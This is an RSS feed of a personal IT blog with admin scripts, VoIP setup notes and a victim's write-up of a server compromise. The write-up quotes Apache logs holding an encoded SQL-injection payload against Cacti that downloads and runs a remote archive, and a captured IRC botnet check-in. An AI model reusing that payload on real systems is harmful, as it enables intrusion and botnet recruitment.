<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
    <channel>
        <title>Information Systems Grad School</title>
        <link>http://cw.sampas.net/blog/</link>
        <description>Information Systems grad school from the perspective of an MCSE-CISSP geek.</description>
        <language>en</language>
        <copyright>Copyright 2008</copyright>
        <lastBuildDate>Mon, 01 Dec 2008 20:46:49 -0500</lastBuildDate>
        <generator>http://www.sixapart.com/movabletype/</generator>
        <docs>http://www.rssboard.org/rss-specification</docs>
        
        <item>
            <title>Fun with Peregrine/HP ServiceCenter and USB7 LCD Display</title>
            <description><![CDATA[<p>ITIL isn't really fun until you learn the difference between calls, incidents and problems. I have a queue of incidents for which I am responsible, but I can't count on reliable notifications in the form of emails, and the client times me out after about 15 minutes, so I can't see if I have a new incident without logging in again.</p>

<p>I bought the super-cool <a href="http://store.fundamentallogic.com/ecom/index.php?main_page=product_info&products_id=4">USB7 7-segment LED</a> kit and soldered it together in about an hour. It's a six-digit display, like you would see on clocks or a calculator. The included driver makes it appear to Windows (or Mac, or Linux) as a serial port. Thus, you write a line to the serial port and it appears on the LCD display. Simple enough.</p>

<p>The trick is getting useful information to the LCD display. How do I get the number of incidents in my queue to the USB7? (A better question might be, how am I supposed to know when there's a new ticket in my queue at all?)</p>

<p>We use Windows at work, so I needed to write this in some kind of dotNet mumbo-jumbo, which is slightly more complicated than PHP, Java ,or VB6, because you need to do things the dotNet way. This uses dotNet 2.0 or 3/3.5 and works in Visual Studio 2005 and Visual Studio 2008 on x86 and x64. It's a simple console application that runs a query and writes it to the com port. Everything is hard coded. Feel free to use it and change it as you wish. Now I need a <a href="http://www.nu-mediadisplays.com/signs/theater-displays.php">larger LCD display</a>.</p>

<blockquote>
'Simple VB.Net 2008/2005 Code to write a single line to the USB7
'available from 
'Tested on Win2k3 x86 amd x64 using avrcdc.inf
'11.20.2008 Larry
'release 1.1
'.Net sure is different than good old VB6. Everything's an object.

<p>Imports System<br />
Imports System.Text<br />
Imports System.IO.Ports<br />
Imports System.Data.SqlClient</p>

<p>Module USB7<br />
    Dim intTixCount As Int32 = 0<br />
    Sub Main()<br />
        'this is a standard ServiceCenter 6.1 query to list all the incidents in queue "My Queue"<br />
        Dim sql As String = "select count(dbo.probsummarym1.assignment)from dbo.probsummarym1 inner join dbo.probsummarym2 on dbo.probsummarym1.number = dbo.probsummarym2.number and dbo.probsummarym2.close_time is null where probsummarym1.assignment = 'My Queue';"<br />
        Using conn As New SqlConnection("Data Source=mydbserver;Initial Catalog=mydatabase;Integrated Security=True")<br />
            'you could hard-code a password in that string, but you know better.<br />
            Dim cmd As New SqlCommand(sql, conn)<br />
            Try<br />
                conn.Open()<br />
                intTixCount = Convert.ToInt32(cmd.ExecuteScalar())<br />
                'ExecuteScalar returns an int -- a regular cmd.execute would result in a recordset<br />
                'which would be a problem.<br />
            Catch ex As Exception<br />
                Console.WriteLine(ex.Message)<br />
            End Try<br />
            conn.Close()<br />
            'keep your DBAs happy and close those connections</p>

<p>        End Using</p>

<p>        Using com1 As IO.Ports.SerialPort = _<br />
            My.Computer.Ports.OpenSerialPort("COM2", 9600)</p>

<p>            com1.WriteLine(intTixCount)</p>

<p>            com1.Close()<br />
            'it really is that simple, because we're not reading anything back from the USB7</p>

<p>        End Using<br />
    End Sub</p>

<p>End Module</p>

</blockquote>
]]></description>
            <link>http://cw.sampas.net/blog/2008/12/fun-with-peregrinehp-servicece-1.html</link>
            <guid>http://cw.sampas.net/blog/2008/12/fun-with-peregrinehp-servicece-1.html</guid>
            
            
            <pubDate>Mon, 01 Dec 2008 20:46:49 -0500</pubDate>
        </item>
        
        <item>
            <title>Free 411 Service with Asterisk</title>
            <description><![CDATA[<p>Google has launched a free <a href="http://www.google.com/goog411/">411-style information service</a>. It's not the first free one, by any means, but since it's Google's, I'll have higher expectations about its usability. There's <a href="http://www.free411.com/index.php">another one available</a> -- that's even older than Google's service. It's too bad you have to pay for e911 service, because doing the same won't send your name and address to your local <a href="http://en.wikipedia.org/wiki/Public-safety_answering_point">PSAP</a>.</p>

<p>The catch is, when you're dialing for information, you're at the phone, not the computer, and you may not have memorized the number. (1-800-GOOG-411.) If you're running Asterisk, you can easily reprogram 411 to go to the free 411 service of your choice. Just add the following lines to your extensions_custom.conf in /etc/asterisk:</p>

<p>[from-internal-custom]<br />
exten => 411,1,Answer<br />
exten => 411,2,Dial(SIP/mytrunkname/18004664411|300|)<br />
exten => 411,4,Hangup</p>]]></description>
            <link>http://cw.sampas.net/blog/2008/12/free-411-service-with-asterisk.html</link>
            <guid>http://cw.sampas.net/blog/2008/12/free-411-service-with-asterisk.html</guid>
            
            
            <pubDate>Mon, 01 Dec 2008 11:43:16 -0500</pubDate>
        </item>
        
        <item>
            <title>Comments are re-enabled after I identify the spammers&apos; IP addresses</title>
            <description><![CDATA[<p>I had 41,000 spam comments in my photo gallery. I had thousands of unpublished spams on my blog here. Spam comments were showing up as valid keywords attracting traffic on Google searches. So a couple of weeks ago, I shut down commenting in MovableType. It turns out that one other problem, mt.cgi consuming 2 G of RAM and all my processor time, was a separate issue.<a href="http://forums.sixapart.com/lofiversion/index.php/t66005.html"> ImageMagick is NOT optional in MT 4.2</a>. I had installed it, but MT couldn't find it. Thus an infinite loop consumed all my resources through our favorite cgi-bin, mt.cgi. Fixed that, but what about comments?</p>

<p>I didn't think <a href="http://gallery.menalto.com/">Gallery</a> was popular enough to be targeted by automated scripts. I thought CAPTCHAs could stop them. I was quite wrong. I upgrade Gallery to 2.3 and got me a WordPress API key for <a href="http://www.akismet.com">Akismet</a>, which I'm now using in MT and Gallery. </p>

<p>I also looked at my logs, and found that 99% of my Gallery spam comments came from a limited set of IPs. Since I started blocking them at the firewall, I've seen 13,000 attempted hits from them. Here they are. If you're running Gallery, ban them now.</p>

<div style="text-align: center;">91.121.108.25<br>
91.121.110.118<br>
91.121.111.27<br>
91.121.111.28<br>
91.121.120.173<br>
91.121.143.168<br>
91.121.169.207<br>
91.121.179.28<br>
91.121.71.155<br>
91.121.81.48.3<br>
91.121.81.48.5<br>
91.121.84.162</div>]]></description>
            <link>http://cw.sampas.net/blog/2008/11/comments-are-reenabled-after-i.html</link>
            <guid>http://cw.sampas.net/blog/2008/11/comments-are-reenabled-after-i.html</guid>
            
                <category domain="http://www.sixapart.com/ns/types#category">Security</category>
            
            
                <category domain="http://www.sixapart.com/ns/types#tag">akismet</category>
            
                <category domain="http://www.sixapart.com/ns/types#tag">comment spam</category>
            
            <pubDate>Fri, 14 Nov 2008 22:32:37 -0500</pubDate>
        </item>
        
        <item>
            <title>Comcast Strikes Back</title>
            <description><![CDATA[<p>One week after my port order for my Comcast phone number transferred to <a href="http://www.vitelity.net">Vitelity</a>, Comcast shut down my Internet service. My Comcast voice port line had been dead for a week, and I got home to a dead Internet connection. My Cable modem could pick up an IP but Comcast wouldn't allow it to connect.</p>

<p>I called Comcast customer service and the generally polite customer service rep told me that a port order terminated phone service and Internet service, because it's not possible to activate a Cable modem with voice capabilities with the phone service off. Which is exactly what I had for a week. Customer service rep expressed that Comcast didn't like it when people ported "<em>Comcast's</em>" telephone numbers. Given that <a href="http://text.broadbandreports.com/shownews/Cable-Verizon-Being-Sleazy-In-VoIP-Battle-92923">Comcast already sued Verizon</a> over the porting telephone numbers difficulty, it's funny.</p>

<p>My only option was to get a new cable modem with no voice ports. After I hooked up the new modem, one call to an also-polite customer service rep got me connected again. I got a new IP, so a quick edit to sip_custom.conf got me connected to Vitelity again.</p>

<p>It was a positive experience, because I feel much freer to switch to whatever ISP I can find that's cheaper. Thus I'm looking at FIOS or DirecTV with a cheap landline for DSL. For those two shows I like to watch on Showtime and HBO, it costs us about $100 a month. Ouch.</p>

<p>What will next month's Comcast bill bring? Credit for terminated phone service? Extra service fees for termination? We'll find out in a month.</p>]]></description>
            <link>http://cw.sampas.net/blog/2008/11/comcast-strikes-back.html</link>
            <guid>http://cw.sampas.net/blog/2008/11/comcast-strikes-back.html</guid>
            
                <category domain="http://www.sixapart.com/ns/types#category">Grad School</category>
            
            
                <category domain="http://www.sixapart.com/ns/types#tag">access</category>
            
                <category domain="http://www.sixapart.com/ns/types#tag">Comcast</category>
            
                <category domain="http://www.sixapart.com/ns/types#tag">voip</category>
            
            <pubDate>Mon, 10 Nov 2008 14:26:44 -0500</pubDate>
        </item>
        
        <item>
            <title>Goodbye Comcast Phone Service?</title>
            <description><![CDATA[<p>My port order with <a href="http://www.vitelity.com">Vitelity</a> for my Comcast phone number went through. That means, when I dial that number, my pbxinaflash/freepbx/asterisk server gets the call from Vitelity via SIP rather than the Digium 410P FXO card hooked up to the analog port (POTS) of my Comcast DOC device.</p>

<p>While I was able to place Vonage calls after my Vonage number ported through my Vonage ATA, Comcast has cut my phone service off. No calls in our out through the Comcast line.</p>

<p>What remains to be see is if they stop billing me for phone service on my next bill. It would be nice if they just dropped the charge. I'll update here when I get the next bill.</p>]]></description>
            <link>http://cw.sampas.net/blog/2008/10/goodbye-comcast-phone-service.html</link>
            <guid>http://cw.sampas.net/blog/2008/10/goodbye-comcast-phone-service.html</guid>
            
            
            <pubDate>Fri, 31 Oct 2008 17:25:48 -0500</pubDate>
        </item>
        
        <item>
            <title>How to dump Vonage and save money.</title>
            <description><![CDATA[<p>Four years ago, unlimited domestic long distance service was a deal for $25 month. My Vonage bill had crept up to $37.50 a month with the extra virtual phone number and taxes, fees, and more fees, so I really wanted to dump them. Why pay that much for telemarketers to bug you during dinner? Vonage also had no good blacklist function.</p>

<p>I started looking at Asterisk. Asterisk has gotten much much better about support and stability and there are several third-party appliances available now. By appliance, I mean the download includes an entire OS, generally CentOS 5.2 these days. To name a few: <a href="http://asterisknow.org">AsteriskNow</a>, <a href="http://freepbx.org">FreePBX</a>, <a href="http://www.pbxinaflash.net/">PBXInaFlash</a>, <a href="http://www.elastix.org">Elastix</a>, and  <a href="http://trixbox.org">TrixBox</a>.</p>

<p>I chose pbxinaflash, just because I liked the blog over at <a href="http://www.nerdvittles.com">NerdVittles</a>, and it's still free. (I still needed a modest PC and bought an analog card, the Digium TDM410 with one FXS and one FXO. I needed these to get my internal house telephone line lit and connect my Comcast POTS service into the server during the transition period.)</p>

<p>Then I signed up for basic service over at <a href="http://www.vitelity.net">Vitelity</a>. There are other VOIP/SIP trunk providers, but Vitelity worked and has low rates. Once I got my system up and running on the first Vitelity number, I ported over my Vonage number for $18. It took less than a week, compared to the month it took for my Comcast number. My combined savings from Vonage and Comcast will be $60/month for 1.2 cents-a-minute service from Vitelity for $1.49 /month plus 1.2¢ per minute in and 1.44¢ out.</p>

<p>My new service is metered, and that's just fine, because I don't make that many calls from home. (Math: assume $12.50 for inbound, $12.50 for outbound gives me 1041 minutes inbound and 868 minutes outbound, for a total of about 1900 minutes or 32 hours a month of talk time before I hit Vonage-size bills.)</p>

<p>I can also make my Asterisk box do lots of stupid phone tricks, like blacklisting telemarketing phone numbers and getting weather by voice at home.</p>

<p>If you find setting up a Linux appliance intimidating, or you're just not that much of a control freak, you can also buy a <a href="http://www.linksys.com/servlet/Satellite?c=L_CASupport_C2&childpagename=US%2FLayout&cid=1169083352234&pagename=Linksys%2FCommon%2FVisitorWrapper&lid=JavaScript-1169083352234">Linksys PAP2T-NA</a>  for about $50 and Vitelity will support it.</p>

<p>Vonage tried to keep me with a month of free service, but my number was already ported. Goodbye, Vonage! They also tried to charge me a termination fee of $50, which after four years of service didn't apply. Vonage is definitely getting shadier in its billing practices as they get hit with a bad economy and competition.</p>

<p>Update: I built a mini-ITX (small) server for this based on the <a href="http://www.newegg.com/Product/Product.aspx?Item=N82E16813121342">Intel Atom CPU/Motherboard combo</a>. It worked great, except that the RealTek NIC drivers weren't quite supported in the stock CentOS 5.2 installer. Some quick kernel updates and another temporary NIC got it fixed quickly, but it's not a procedure for the easily frustrated.</p>]]></description>
            <link>http://cw.sampas.net/blog/2008/10/how-to-dump-vonage-and-save-mo.html</link>
            <guid>http://cw.sampas.net/blog/2008/10/how-to-dump-vonage-and-save-mo.html</guid>
            
            
            <pubDate>Tue, 28 Oct 2008 14:18:45 -0500</pubDate>
        </item>
        
        <item>
            <title>LDIFDE export from list of sAMAccountNames, using vbscript</title>
            <description><![CDATA[<p>If you need to export a list of accounts from Active Directory into ldif-format files that will preserve attributes, you can try this. It takes a text list of sAMAccountNames (one per line) and writes out an ldif file for each one. You can easily import the same way by changing the arguments on the exec line and removing the export parameters. You'll also need to fix the line breaks.</p>

<blockquote>
'v1.1
' The script will take a text file with usernames (sAMAaccountNames and export them via ldifde to individual files
' named as sAMAccountname.ldf.

<p>Set objFSO = CreateObject("Scripting.FileSystemObject") <br />
Set objTextFile = objFSO.OpenTextFile("samaccounts.txt",1) <br />
'On Error Resume Next<br />
Do Until objTextFile.AtEndOfStream <br />
    strName = objTextFile.Readline<br />
    WScript.Echo "sAMAccountName: " & strName <br />
    Set objShell = CreateObject("WScript.Shell")<br />
    'you can add/remove attributes from the line below, but be sure to get the quotes right. <br />
    Set objScriptExec = objShell.Exec("ldifde -f c:\scripts\export\" & strName & ".ldf -s myDomainController -d ""ou=myOU,ou=Clients,dc=domain,dc=com"" -r ""(sAMAccountName=" & strName & ")"" -l objectclass,dn,c,department,description,displayName,employeeID,extensionAttribute10,extensionAttribute8,extensionAttribute9,givenName,homeDirectory,initials,manager,otherTelephone,physicalDeliveryOfficeName,extension,sn,streetAddress,telephoneNumber,extensionAttribute14,extensionAttribute11,extensionAttribute12,wWWHomePage,sAMAccountName,userPrincipalName,mail,mailnickname,telephoneNumber  " )<br />
    strResults = objScriptExec.StdOut.ReadAll<br />
WScript.Echo strResults<br />
              <br />
Loop<br />
set objFile=Nothing</p>

<p>'End<br />
</blockquote></p>]]></description>
            <link>http://cw.sampas.net/blog/2008/08/ldifdeexe-export-from-list-of.html</link>
            <guid>http://cw.sampas.net/blog/2008/08/ldifdeexe-export-from-list-of.html</guid>
            
                <category domain="http://www.sixapart.com/ns/types#category">Programming</category>
            
            
            <pubDate>Wed, 20 Aug 2008 12:29:28 -0500</pubDate>
        </item>
        
        <item>
            <title>Cisco MIB: Interfaces on the 3845 Router</title>
            <description><![CDATA[<p>Recently I needed to check traffic on specific interfaces of a Cisco 3845 Router. I didn't have a MIB file uploaded to our SNMP workstation, and descriptions of measures were not in synch with the router. Thus I needed to figure out which interface was which. There were 8 valid instances of interface metrics on the router. I was interested in BitsIn/Sec, BitsOut/Sec, and IntSpeed. From IntSpeed, I got the following numbers:<br />
1. 1,000,000,000<br />
2. 1,000,000,000<br />
3. 4,294,967,295<br />
4. 44,736,000<br />
5. 45,000,000<br />
6. 44,736,000<br />
7. 45,000,000<br />
8. 4,294,967,295</p>

<p>Thus I figured out that Serial 0 is 5 and serial 1 is 7. Gig 0 and Gig 1 are 1 and 2. We have two DS-3 circuits (ATT calls them DNECs) in. SNMP may be wonderful but MIBs are a pain. I thought I would write this down before I erase my whiteboard with tomorrow's problem and solution. You can find <a href="http://www.cisco.com/en/US/docs/ios/11_0/mib/quick/reference/mtext.html">Cisco's guide to it's MIB and SNMP here</a>.</p>]]></description>
            <link>http://cw.sampas.net/blog/2007/09/cisco-mib-interfaces-on-the-38.html</link>
            <guid>http://cw.sampas.net/blog/2007/09/cisco-mib-interfaces-on-the-38.html</guid>
            
                <category domain="http://www.sixapart.com/ns/types#category">Random</category>
            
            
            <pubDate>Thu, 20 Sep 2007 14:44:31 -0500</pubDate>
        </item>
        
        <item>
            <title>With some help, I find the vulnerability</title>
            <description><![CDATA[<p><a href="http://secunia.com/advisories/23528/">Secunia</a> says Cacti has four known vulnerabilities. I had forgotten that I had installed <a href="http://cacti.net/">Cacti</a> when I was trying to count the pages I had printed and compare those results those from my HP printer. Same IP as my computer was IRCing to. I should start tracking changes so I can have a record of what was changed, when it was changed, and if I granted myself access.</p>

<p>Here's the log files from apache:</p>

<p><br />
<blockquote>213.189.5.233 - - [21/May/2007:14:44:14 -0400] "GET /cacti/ HTTP/1.0" 200 1327 "-" "-"<br />
213.189.5.233 - - [22/May/2007:04:08:21 -0400] "GET /cacti/cmd.php?1+1111)/**/UNION/**/SELECT/**/2,0,1,1,CHAR(49,50,55,46,48,46,48,46,49),null,1,null,null,161,500,CHAR(112,114,111,99),null,1,300,0,CHAR(32,119,103,101,116,32,104,116,116,112,58,47,47,105,99,101,109,97,110,46,109,97,114,116,101,46,114,111,47,103,46,106,112,103,32,45,79,32,47,116,109,112,47,103,46,106,112,103,59,116,97,114,32,120,122,118,102,32,47,116,109,112,47,103,46,106,112,103,32,45,67,32,47,116,109,112,59,47,116,109,112,47,103,111,32,62,32,46,47,114,114,97,47,115,117,110,116,122,117,46,108,111,103),null,null/**/FROM/**/host/*+11111 HTTP/1.0" 200 18 "-" "-"<br />
213.189.5.233 - - [22/May/2007:04:17:07 -0400] "GET /cacti/cmd.php?1+1111)/**/UNION/**/SELECT/**/2,0,1,1,CHAR(49,50,55,46,48,46,48,46,49),null,1,null,null,161,500,CHAR(112,114,111,99),null,1,300,0,CHAR(32,102,101,116,99,104,32,45,111,32,47,116,109,112,47,103,111,46,106,112,103,32,104,116,116,112,58,47,47,105,99,101,109,97,110,46,109,97,114,116,101,46,114,111,47,103,111,46,106,112,103,59,116,97,114,32,120,122,118,102,32,47,116,109,112,47,103,111,46,106,112,103,32,45,67,32,47,116,109,112,59,47,116,109,112,47,103,111,32,62,32,46,47,114,114,97,47,115,117,110,116,122,117,46,108,111,103),null,null/**/FROM/**/host/*+11111 HTTP/1.0" 200 18 "-" "-"<br />
213.189.5.233 - - [22/May/2007:04:17:09 -0400] "GET /cacti/rra/suntzu.log HTTP/1.0" 404 296 "-" "-"<br />
213.189.5.233 - - [22/May/2007:04:17:09 -0400] "GET /cacti/cmd.php?1+1111)/**/UNION/**/SELECT/**/2,0,1,1,CHAR(49,50,55,46,48,46,48,46,49),null,1,null,null,161,500,CHAR(112,114,111,99),null,1,300,0,CHAR(114,109,32,46,47,114,114,97,47,115,117,110,116,122,117,46,108,111,103),null,null/**/FROM/**/host/*+11111 HTTP/1.0" 200 18 "-" "-"</blockquote></p>

<p>Apparently, that was all it took for my server to be compromised.</p>

<p>Also, I saved the tcpdump from my previous post as an <a href="http://cw.sampas.net/blog/20070521_haxors.htm">HTML file</a> for people that had trouble with it.</p>]]></description>
            <link>http://cw.sampas.net/blog/2007/05/secunia-says-cacti-has-four.html</link>
            <guid>http://cw.sampas.net/blog/2007/05/secunia-says-cacti-has-four.html</guid>
            
                <category domain="http://www.sixapart.com/ns/types#category">Security</category>
            
            
            <pubDate>Tue, 22 May 2007 19:47:43 -0500</pubDate>
        </item>
        
        <item>
            <title>I Catch the Hackers in the Act</title>
            <description><![CDATA[<p>IIf you've ever wondered exactly how a vulnerability is exploited, or how botnets happen, check the below. Keep in mind that my system is up-to-date on just about everything I can find to update on it. I've also informed the abuse address of the IP in question about what was going on over a month ago, and the rogue server is still out there, relaying information from compromised Linux servers.</p>

<p>I keep a lot of outbound ports closed so that if one of my servers is compromised, it doesn't become another bot on the net. I finally caught the process again, so I started a capture and then opened the ports. I'm not sure what to make of it because the IP address in question goes back to what appears to be a dedicated server in Italy, but the login information says it's a NASA IRC server. What NASA would be doing on serving IRC to the public is beyond me, unless it's a honeypot. It's probably not a real NASA server, at least that's what I hope. Anyway, here are the fun details of what happens when my server tries to call home to its haxor:</p>

<p>The packet analysis also reveals a clue about the origin of the hack: Mihai is the Romanian version of Michael.</p>

<p><a href="http://cw.sampas.net/blog/20070521_dump.dmp">Download the uncensored TCPDump file and see for yourself</a>.</p>

<p>My server: SYN<br />
213.92.118.223 223-118-92-213.serverdedicati.seflow.net ACK<br />
my server: ACK SYN<br />
my server: ...i<br />
my server: NICK a3sh-.<br />
	 : NOTICE AUTH :*** Looking up your hostname..NOTICE AUTH :*** Checking Ident..<br />
my server: ....<br />
	 : NOTICE AUTH :*** No ident response..<br />
my server: FF 86 C5 CD <br />
	 : NOTICE AUTH :*** Found your hostname.<br />
my server: ....<br />
	 :.y.I<br />
my server: USER nh2ies x.x.x.x 213.92.118.223 :Linux mrtg.sampas.net 2.6.9-42.0.10.ELsmp #1 SMP Fri Feb 16 17:17:21 EST 2007 i686 i686 i386 GNU/Linux.<br />
	 : PING :1041065789..<br />
my server: ....<br />
	 : .y..<br />
my server: PONG :1041065789.<br />
	 : (ACK)<br />
	 : www.nasa.gov 433 * a3sh- :Nickname is already in use..<br />
my server: (ACK)<br />
my server: NICK a3sh-685.<br />
	 : :www.nasa.gov 001 a3sh-685 :Welcome to the Internet Relay Network 	 : a3sh-685..:www.nasa.gov 002 a3sh-685 :Your host is www.nasa.gov, running version beware1.5.7..:www.nasa.gov 003 a3sh-685 :This server was created Tue Jul 13 2004 at 20:36:17 GMT..:www.nasa.gov 004 a3sh-685 www.nasa.gov beware1.5.7 dgikoswx biklmnoprstv..:www.nasa.gov 005 a3sh-685 MAP SILENCE=15 WHOX WALLCHOPS WALLVOICES USERIP CPRIVMSG CNOTICE MODES=6 MAXCHANNELS=10 MAXBANS=45 :are supported by this server..:www.nasa.gov 005 a3sh-685 NICKLEN=19 TOPICLEN=160 AWAYLEN=160 KICKLEN=160 CHANTYPES=#& PREFIX=(ov)@+ CHANMODES=b,k,l,rimnpst CASEMAPPING=rfc1459 :are supported by this server..:www.nasa.gov 251 a3sh-685 :There are 172 users and 0 invisible on 1 servers..:www.nasa.gov 254 a3sh-685 1 :channels formed..:www.nasa.gov 255 a3sh-685 :I have 172 clients and 0 servers..:www.nasa.gov NOTICE a3sh-685 :Highest connection count: 195 (195 clients)..:www.nasa.gov 422 a3sh-685 :MOTD File is missing..:www.nasa.gov NOTICE a3sh-685 :on 1 ca 1(4) ft 10(10)..<br />
my server: JOIN #mihai.<br />
	 ::www.nasa.gov 001 a3sh-685 :Welcome to the Internet Relay Network a3sh-685..:www.nasa.gov 002 a3sh-685 :Your host is www.nasa.gov, running version beware1.5.7..:www.nasa.gov 003 a3sh-685 :This server was created Tue Jul 13 2004 at 20:36:17 GMT..:www.nasa.gov 004 a3sh-685 www.nasa.gov beware1.5.7 dgikoswx biklmnoprstv..:www.nasa.gov 005 a3sh-685 MAP SILENCE=15 WHOX WALLCHOPS WALLVOICES USERIP CPRIVMSG CNOTICE MODES=6 MAXCHANNELS=10 MAXBANS=45 :are supported by this server..:www.nasa.gov 005 a3sh-685 NICKLEN=19 TOPICLEN=160 AWAYLEN=160 KICKLEN=160 CHANTYPES=#& PREFIX=(ov)@+ CHANMODES=b,k,l,rimnpst CASEMAPPING=rfc1459 :are supported by this server..:www.nasa.gov 251 a3sh-685 :There are 172 users and 0 invisible on 1 servers..:www.nasa.gov 254 a3sh-685 1 :channels formed..:www.nasa.gov 255 a3sh-685 :I have 172 clients and 0 servers..:www.nasa.gov NOTICE a3sh-685 :Highest connection count: 195 (195 clients)..:www.nasa.gov 422 a3sh-685 :MOTD File is missing..:www.nasa.gov NOTICE a3sh-685 :on 1 ca 1(4) ft 10(10)..</p>

<p>:a3sh-685!~nh2ies@c-68-34-65-58.hsd1.md.comcast.net JOIN :#mihai..:www.nasa.gov 353 a3sh-685 = #mihai :a3sh-685 a3sh-9337 a3sh-4554 a3sh-8354 a3sh-2934 a3sh-3103 a3sh-8151 a3sh-4633 a3sh-3872 a3sh-2552 a3sh-1595 a3sh-9230 a3sh-5907 a3sh-2313 a3sh-6041 a3sh-2448 a3sh-5134 a3sh-3633 a3sh-5025 a3sh-1979 a3sh-9893 a3sh-8688 a3sh-7544 a3sh-4987 a3sh-975 a3sh-8640 a3sh-7756 a3sh-6376 a3sh-9321 a3sh-5422 a3sh-5761 a3sh-9259 a3sh-5956 a3sh-7978 a3sh-9088 a3sh-701 a3sh-4473 a3sh-7260 a3sh-2013 a3sh-9890 a3sh-933 a3sh-8007 a3sh-6486 a3sh-7318 a3sh-5495 a3sh-6205 a3sh-6078..:www.nasa.gov 353 a3sh-685 = #mihai :a3sh-7555 a3sh-791 a3sh-1336 a3sh-5923 a3sh-4822 a3sh-8527 a3sh-4988 a3sh-90 a3sh-4895 a3sh-7019 a3sh-6666 a3sh-4330 a3sh-8521 a3sh-215 a3sh-5509 a3sh-6106 a3sh-4579 a3sh-8655 a3sh-1998 a3sh-9573 a3sh-5017 a3sh-6554 a3sh-8403 a3sh-288 a3sh-3328 a3sh-4059 a3sh-6246 a3sh-697 a3sh-7085 a3sh-9646 a3sh-8876 a3sh-6779 a3sh-3730 a3sh-8248 a3sh-4757 a3sh-7497 a3sh-4715 a3sh-4357 a3sh-229 a3sh-4681 a3sh-8629 a3sh-2734 a3sh-6290 a3sh-930 a3sh-1515 a3sh-1103 a3sh-3405 a3sh-9597..:www.nasa.gov 353 a3sh-685 = #mihai :a3sh-914 a3sh-2419 a3sh-1961 a3sh-624 a3sh-9217 a3sh-8124 a3sh-9198 a3sh-1667 a3sh-7710 a3sh-3272 a3sh-2880 a3sh-5360 a3sh-9749 a3sh-60 a3sh-6378 a3sh-2191 a3sh-8644 a3sh-1313 a3sh-2447 a3sh-3410 a3sh-4480 a3sh-8506 a3sh-1625 a3sh-5664 a3sh-5614 a3sh-9804 a3sh-1344 a3sh-4523 a3sh-7203 a3sh-3438 a3sh-36</p>

<p>46 a3sh-6682 a3sh-8430 a3sh-700 a3sh-4929 a3sh-9957 a3sh-9284 a3sh-1775 +a3sh-3250 a3sh-2594 a3sh-3037 a3sh-3353 a3sh-2931 a3sh-366 a3sh-934 a3sh-1772 a3sh-8760 a3sh-7777..:www.nasa.gov 353 a3sh-685 = #mihai :a3sh-8519 a3sh-8691 a3sh-9382 a3sh-3749 a3sh-8126 a3sh-5627 a3sh-1038 a3sh-3316 a3sh-5240 a3sh-379 a3sh-6854 a3sh-9518 a3sh-1493 a3sh-7073 a3sh-9670 +a3sh-3201 a3sh-7933 a3sh-4989 a3sh-960 a3sh-3584 a3sh-7571 a3sh-9905 a3sh-6198 a3sh-9436 a3sh-7021 a3sh-9951 a3sh-43 a3sh-1578 @a3sh-..:www.nasa.gov 366 a3sh-685 #mihai :End of /NAMES list...</p>]]></description>
            <link>http://cw.sampas.net/blog/2007/05/i-catch-the-hackers-in-the-act.html</link>
            <guid>http://cw.sampas.net/blog/2007/05/i-catch-the-hackers-in-the-act.html</guid>
            
                <category domain="http://www.sixapart.com/ns/types#category">Security</category>
            
            
            <pubDate>Mon, 21 May 2007 19:02:48 -0500</pubDate>
        </item>
        
        <item>
            <title>They tried to get my server to join a BotNet</title>
            <description><![CDATA[<p>I first noticed a mysterious connection on a netstat:<br />
<blockquote>Active Internet connections (servers and established)<br />
Proto Recv-Q Send-Q Local Address               Foreign Address             State <br />
tcp        0      1 mrtg.sampas.net:42321       223-118-92-213.server:49153 SYN_SENT <br />
</blockquote><br />
I also noticed Apache had opened a shell:<br />
<blockquote>F S UID        PID  PPID  C PRI  NI ADDR SZ WCHAN  STIME TTY          TIME CMD<br />
1 S apache   18005     1  0  76   0 -  1282 -      Apr10 ?        00:00:00 sh -i </blockquote></p>

<p>Soon after, perl became a runaway process, consuming 100% of my CPU time. And I thought /sbin/nologin meant user Apache couldn't just get a shell. I updated zlib from 1.2.2 to 1.2.3 to fix a security hole. up2date -u reports everything is up-to-date. (It did that for my old zlib, too.) I don't see any new holes in my applications, <a href="http://sixapart.com/movabletype">MT</a> and <a href="http://gallery.menalto.com">Gallery</a>. I did a <a href="http://www.nessus.org/">Nessus</a> scan with recent updates, and all it showed no holes and one warning. I ran <a href="http://www.clamav.net/">clamscan</a> and it didn't find anything, either. <a href="http://www.rootkit.nl/">Rkhunter</a> found nothing, and <a href="http://www.cirt.net/code/nikto.shtml">nikto</a> gave me the following output:</p>

<blockquote>+ Server: Apache/2.0.52 (Red Hat)
+ Allowed HTTP Methods: GET,HEAD,POST,OPTIONS,TRACE 
+ Apache/2.0.52 appears to be outdated (current is at least Apache/2.2.3). Apache 1.3.33 is still maintained and considered secure.
+ / - TRACE option appears to allow XSS or credential theft. See http://www.cgisecurity.com/whitehat-mirror/WhitePaper_screen.pdf for details (TRACE)
+ /usage/ - Webalizer may be installed. Versions lower than 2.10-09 vulnerable to Cross Site Scripting (XSS). CA-2000-02. (GET)</blockquote>

<p><br />
So now I'm stuck looking through my apache access logs, because that's the only thing exposed to the outside world.</p>

<p>I did a capture just while open my firewall for a couple of minutes, and I saw it try to log in to an IRC channel. Ouch. I've been pwned. Fortunately, my firewall stops my server from being used for attacks, and I was able to block the port range used by the IRC bot.</p>

<p>Finally, Red Hat released a lot of new patches for PHP, and I set PerlTaintCheck On in /etc/httpd/conf.d/perl.conf, which was the real problem: user Apache had started listening on port 80 using Perl, so I couldn't even restart httpd.</p>

<p>Next time, I need to check the logs closer and post a network capture of the login process. </p>]]></description>
            <link>http://cw.sampas.net/blog/2007/04/irc-botnet-attacks-my-server.html</link>
            <guid>http://cw.sampas.net/blog/2007/04/irc-botnet-attacks-my-server.html</guid>
            
                <category domain="http://www.sixapart.com/ns/types#category">Programming</category>
            
                <category domain="http://www.sixapart.com/ns/types#category">Security</category>
            
            
            <pubDate>Wed, 18 Apr 2007 19:15:36 -0500</pubDate>
        </item>
        
        <item>
            <title>I graduate from grad school, get a new job, a new house, and become a father.</title>
            <description><![CDATA[<p>I graduated from Grad School with a Master's in Information Systems Technology, focusing on Management Information Systems.</p>

<p>It's official. George Washington University sent me my degree in the mail. They took three and a half months to get it out. Even the registrar didn't change my status until March after a couple of phone calls. A lot has happened since then: I moved into a new (old) house, started a new job, and am about to become a father. </p>

